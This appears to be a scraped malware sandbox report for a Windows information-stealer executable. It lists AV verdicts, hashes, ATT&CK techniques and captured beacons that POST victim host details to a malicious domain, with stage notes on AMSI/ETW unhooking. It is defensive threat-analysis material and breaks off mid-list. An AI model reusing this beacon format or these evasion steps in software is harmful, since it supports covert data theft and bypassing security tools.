cloudflare cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2 cfOrigin;dur=159 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=kxMDqTgXrauR1IU69m9szwNS1lLIjCz%2FyTGxoh2nHS4rHVe1ScgfZ%2BitkrpvGHF8FeA7Q0e429csll88N9JfQYS1rgyjXsBHl6tioec%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} CF-RAY: 9de302c26c852c39-SJC alt-svc: h3=":443"; ma=86400 with no response body "POST /api/b HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Length: 247 Host: adcashpro.icu" with payload::==> "{"m":"DA59C77B","s":12,"os":"10.0.16299","b":"16299","a":"x64","r":8191,"cp":8,"av":"none","adm":1,"dom":0,"lc":"en-US","u":"HAPUBWS","h":"DESKTOP-FVVF82A","il":"high","pp":"unknown","up":15133,"e":"","x":"ep=0x00007FF79A4A8110 method=threadpool"}" HTTP/1.1 204 No Content Date: Wed 18 Mar 2026 08:54:06 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2 cfOrigin;dur=187 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=vyOZ0xNRzbZDTWg%2BPYim4JYm8Xjy%2FQ7tdZlDpzqFt5M84NkoIrIbeMpKbAzfRvPC4MoIy%2FlqNvWKjU54NYssO5qzFS%2BRxlX0d4GpHJ0%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} CF-RAY: 9de302c48fc82c39-SJC alt-svc: h3=":443"; ma=86400 with no response body4c:Tbac," "{"m":"DA59C77B","s":1,"os":"10.0.16299","b":"16299","a":"x64","r":8191,"cp":8,"av":"none","adm":1,"dom":0,"lc":"en-US","u":"HAPUBWS","h":"DESKTOP-FVVF82A","il":"high","pp":"unknown","up":15133,"e":"","x":""}" "POST /api/b HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Length: 213 Host: adcashpro.icu" with payload:==> "{"m":"DA59C77B","s":2,"os":"10.0.16299","b":"16299","a":"x64","r":8191,"cp":8,"av":"none","adm":1,"dom":0,"lc":"en-US","u":"HAPUBWS","h":"DESKTOP-FVVF82A","il":"high","pp":"unknown","up":15133,"e":"","x":"api_ok"}" "POST /api/b HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Length: 214 Host: adcashpro.icu" with payload:==> "{"m":"DA59C77B","s":3,"os":"10.0.16299","b":"16299","a":"x64","r":8191,"cp":8,"av":"none","adm":1,"dom":0,"lc":"en-US","u":"HAPUBWS","h":"DESKTOP-FVVF82A","il":"high","pp":"unknown","up":15133,"e":"","x":"text_ok"}" "POST /api/b HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Length: 222 Host: adcashpro.icu" with payload:==> "{"m":"DA59C77B","s":4,"os":"10.0.16299","b":"16299","a":"x64","r":8191,"cp":8,"av":"none","adm":1,"dom":0,"lc":"en-US","u":"HAPUBWS","h":"DESKTOP-FVVF82A","il":"high","pp":"unknown","up":15133,"e":"","x":"etw+amsi+unhook"}" "POST /api/b HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Length: 217 Host: adcashpro.icu" with payload:==> "{"m":"DA59C77B","s":5,"os":"10.0.16299","b":"16299","a":"x64","r":8191,"cp":8,"av":"none","adm":1,"dom":0,"lc":"en-US","u":"HAPUBWS","h":"DESKTOP-FVVF82A","il":"high","pp":"unknown","up":15133,"e":"","x":"hdr_sz=352"}" "POST /api/b HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Length: 227 Host: adcashpro.icu" with payload:==> "{"m":"DA59C77B","s":6,"os":"10.0.16299","b":"16299","a":"x64","r":8191,"cp":8,"av":"none","adm":1,"dom":0,"lc":"en-US","u":"HAPUBWS","h":"DESKTOP-FVVF82A","il":"high","pp":"unknown","up":15133,"e":"","x":"conf=0 r0=0/0 r1=0/0"}" "POST /api/b HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Length: 231 Host: adcashpro.icu" with payload:==> "{"m":"DA59C77B","s":7,"os":"10.0.16299","b":"16299","a":"x64","r":8191,"cp":8,"av":"none","adm":1,"dom":0,"lc":"en-US","u":"HAPUBWS","h":"DESKTOP-FVVF82A","il":"high","pp":"unknown","up":15133,"e":"","x":"dec_sz=1764352 mz=0x5A4D"}" "POST /api/b HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Length: 224 Host: adcashpro.icu" with payload:==> "{"m":"DA59C77B","s":8,"os":"10.0.16299","b":"16299","a":"x64","r":8191,"cp":8,"av":"none","adm":1,"dom":0,"lc":"en-US","u":"HAPUBWS","h":"DESKTOP-FVVF82A","il":"high","pp":"unknown","up":15133,"e":"","x":"raw_pe sz=1764352"}" "POST /api/b HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Length: 250 Host: adcashpro.icu" with payload:==> "{"m":"DA59C77B","s":9,"os":"10.0.16299","b":"16299","a":"x64","r":8191,"cp":8,"av":"none","adm":1,"dom":0,"lc":"en-US","u":"HAPUBWS","h":"DESKTOP-FVVF82A","il":"high","pp":"unknown","up":15133,"e":"","x":"dll=0 base=0x00007FF79A390000 vsz=0x7CD1000"}" "POST /api/b HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Length: 214 Host: adcashpro.icu" with payload:==> "{"m":"DA59C77B","s":10,"os":"10.0.16299","b":"16299","a":"x64","r":8191,"cp":8,"av":"none","adm":1,"dom":0,"lc":"en-US","u":"HAPUBWS","h":"DESKTOP-FVVF82A","il":"high","pp":"unknown","up":15133,"e":"","x":"secs=7"}" "POST /api/b HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Length: 219 Host: adcashpro.icu" with payload:==> "{"m":"DA59C77B","s":11,"os":"10.0.16299","b":"16299","a":"x64","r":8191,"cp":8,"av":"none","adm":1,"dom":0,"lc":"en-US","u":"HAPUBWS","h":"DESKTOP-FVVF82A","il":"high","pp":"unknown","up":15133,"e":"","x":"imports=269"}" "POST /api/b HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Length: 247 Host: adcashpro.icu" with payload:==> "{"m":"DA59C77B","s":12,"os":"10.0.16299","b":"16299","a":"x64","r":8191,"cp":8,"av":"none","adm":1,"dom":0,"lc":"en-US","u":"HAPUBWS","h":"DESKTOP-FVVF82A","il":"high","pp":"unknown","up":15133,"e":"","x":"ep=0x00007FF79A4A8110 method=threadpool"}"4e:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8Ad3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3iIiIiIiIiIh3d3d3d3d3iIiIiIiIiIiId3d3d3d3eIiIiIiIiIiIiHd3d3d3d4iIiIiIiIiIiIh3d3d3d3iIiIiIiIiIiIiId3d3d3eIiIiIiIiIiIiIiHd3d3d4iIiIiIiIiIiIiIh3d3d4iIiIiIiIiIiIiIiId3d3eIiIiIiIiIiIiIiIiHd3d4iIiIiIiIiIiIiIiIh3d3iIiIiIiIiIiIiIiIiId3d4iIiIiIiIiIiIiIiIiHd3iIiIiIiIiIiIiIiIiIh3d4iIiIiIiIiIiIiIiIiId3eIiIiIiIiIiIiIiIiIiHd3iIiIiIiIiIiIiIiIiIh3d4iIiIiIiIiIiIiIiIiId3eIiIiIiIiIiIiIiIiIiHd3iIiIiIiIiIiIiIiIiHd3d4iIiIiIiIiIiIiIiIhzd3eIiIiIiIiIiIiIiIh3M3d3iIiIiIiIiIiIiIiIczN3d4iIiIiIiIiIiIiIdzMzd3eIiIiIiIiIiIiIiHMzM3d3iIiIiIiIiIiIiHczMzN3d4iIiIiIiIiIiIhzMzMzd3eIiIiIiIiIiIh3MzMzM3d3iIiIiIiIiIiIczMzMzN3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790942564906,"unified_at":"2026-10-02T12:02:44.906Z","metadata":{"hashes":{"sha256":"6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3","sha1":"53ec539629f1e112b2e92f139824f0bc1eb2f3be","md5":"fd9e38e1799045d32bfba5ea6b6a60b3","sha512":"5b72ce3693fb0d10a4c5092bfbc84d5bb9bf4f619299ac71df92121151652efdf4bbdbf7585a34a892f3c871485dff5a996ef541857ff507b2d957071588a975","ssdeep":"49152:T9DoEo71k3Q0H9ubngSsLxO9IWV0yJPePn6vE38Xnb/EQlce/gKSFd+RrYP1l8W+:s","ssdeep_chunks":["49152:T9DoEo7","49152:9DoEo71","49152:DoEo71k","49152:oEo71k3","49152:Eo71k3Q","49152:o71k3Q0","49152:71k3Q0H","49152:1k3Q0H9","49152:k3Q0H9u","49152:3Q0H9ub","49152:Q0H9ubn","49152:0H9ubng","49152:H9ubngS","49152:9ubngSs","49152:ubngSsL","49152:bngSsLx","49152:ngSsLxO","49152:gSsLxO9","49152:SsLxO9I","49152:sLxO9IW","49152:LxO9IWV","49152:xO9IWV0","49152:O9IWV0y","49152:9IWV0yJ","49152:IWV0yJP","49152:WV0yJPe","49152:V0yJPeP","49152:0yJPePn","49152:yJPePn6","49152:JPePn6v","49152:PePn6vE","49152:ePn6vE3","49152:Pn6vE38","49152:n6vE38X","49152:6vE38Xn","49152:vE38Xnb","49152:E38Xnb/","49152:38Xnb/E","49152:8Xnb/EQ","49152:Xnb/EQl","49152:nb/EQlc","49152:b/EQlce","49152:/EQlce/","49152:EQlce/g","49152:Qlce/gK","49152:lce/gKS","49152:ce/gKSF","49152:e/gKSFd","49152:/gKSFd+","49152:gKSFd+R","49152:KSFd+Rr","49152:SFd+RrY","49152:Fd+RrYP","49152:d+RrYP1","49152:+RrYP1l","49152:RrYP1l8","49152:rYP1l8W","49152:YP1l8W+","98304:T9DoEo7","98304:9DoEo71","98304:DoEo71k","98304:oEo71k3","98304:Eo71k3Q","98304:o71k3Q0","98304:71k3Q0H","98304:1k3Q0H9","98304:k3Q0H9u","98304:3Q0H9ub","98304:Q0H9ubn","98304:0H9ubng","98304:H9ubngS","98304:9ubngSs","98304:ubngSsL","98304:bngSsLx","98304:ngSsLxO","98304:gSsLxO9","98304:SsLxO9I","98304:sLxO9IW","98304:LxO9IWV","98304:xO9IWV0","98304:O9IWV0y","98304:9IWV0yJ","98304:IWV0yJP","98304:WV0yJPe","98304:V0yJPeP","98304:0yJPePn","98304:yJPePn6","98304:JPePn6v","98304:PePn6vE","98304:ePn6vE3","98304:Pn6vE38","98304:n6vE38X","98304:6vE38Xn","98304:vE38Xnb","98304:E38Xnb/","98304:38Xnb/E","98304:8Xnb/EQ","98304:Xnb/EQl","98304:nb/EQlc","98304:b/EQlce","98304:/EQlce/","98304:EQlce/g","98304:Qlce/gK","98304:lce/gKS","98304:ce/gKSF","98304:e/gKSFd","98304:/gKSFd+","98304:gKSFd+R","98304:KSFd+Rr","98304:SFd+RrY","98304:Fd+RrYP","98304:d+RrYP1","98304:+RrYP1l","98304:RrYP1l8","98304:rYP1l8W","98304:YP1l8W+"],"imphash":"2c1853915d316a65d08a8dc489aff101"},"file_info":{"file_name":"DAIs3ZV.exe","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":9436160,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1773787413000,"last_seen":1773824006000,"last_multi_scan":1773824006000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["urlscanio","criminal","informationstealer","voidstealer","downloader","new_domain","malicious","evasive"]},"stats":{"av":{"malicious_count":9,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":69},"sandbox_signatures":{"informative_count":174,"suspicious_count":13,"malicious_count":5,"total":192},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/AVI.PWS.Agent.rbpje","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Lazy.712277","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (D)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Lazy.712277 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win64/GenKryptik.HQBO trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Trojan.Win64.Agent.sa","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W64/ABTrojan.SXWW-2530","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Lazy.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"malicious","value":"Recently registered domain detected"},{"type":"informative","value":"Short-term SSL certificate detected"},{"type":"informative","value":"Recently renewed or created SSL certificate"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Able to retrieve command line parameters of the running process"},{"type":"informative","value":"Able to import GetCommandLine API, which retrieves the command line string for the current process"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Imports system security related APIs"},{"type":"suspicious","value":"Contains ability to obtains specified information about the security of a file or directory"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to create a remote thread (API string)"},{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Privilege Escalation","technique":"Make and Impersonate Token","attack_id":"T1134.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/003","identifiers":[{"type":"suspicious","value":"Contains ability to adjust token privileges"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to query local/system time as file time"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"},{"type":"informative","value":"Able to identify virtual environment using user register activity"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"},{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"},{"type":"informative","value":"Found anti-virus related strings names"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Defense Evasion","technique":"Hidden 